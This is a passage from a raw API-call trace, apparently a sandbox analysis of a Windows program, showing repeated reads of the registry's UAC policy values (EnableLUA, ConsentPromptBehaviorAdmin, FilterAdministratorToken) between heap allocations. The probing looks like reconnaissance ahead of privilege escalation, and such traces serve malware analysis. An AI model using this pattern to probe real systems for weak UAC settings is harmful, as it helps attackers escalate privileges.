out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.196] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0028.196] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x38c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x38c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0028.196] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c438) returned 1 [0028.196] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38b860 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b878 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b888 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c438 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b898 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c558 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b930 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c510 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38b940 [0028.196] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b860) returned 1 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b860 [0028.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c4c8 [0028.196] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b968 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c480 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b978 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c3f0 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b988 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c3a8 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x30) returned 0x38b998 [0028.197] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b940) returned 1 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b940 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c360 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b950 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c318 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b9d0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c2d0 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b9e0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.197] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b998) returned 1 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b998 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.197] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38b9a8 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.198] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1e8 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.198] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1f8 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.198] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.198] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b878) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c438) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b888) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c558) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b898) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c510) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b930) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c4c8) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b860) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c480) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b968) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c3f0) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b978) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c3a8) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b988) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c360) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b940) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c318) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b950) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c2d0) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b9d0) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b9e0) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b998) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b9a8) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1e8) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1f8) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.199] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0028.199] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x38c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x38c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.199] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1f8 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.199] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1e8 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.199] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d208 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.199] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d218 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.199] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38b860 [0028.199] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.199] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d228 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d238 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d248 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c2d0 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x30) returned 0x38b930 [0028.200] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b860) returned 1 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c318 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c360 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c3a8 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d298 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c3f0 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c480 [0028.200] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b930) returned 1 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2a8 [0028.200] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c4c8 [0028.200] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2b8 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c510 [0028.201] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c558 [0028.201] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c438 [0028.201] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1f8) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1e8) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d208) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, 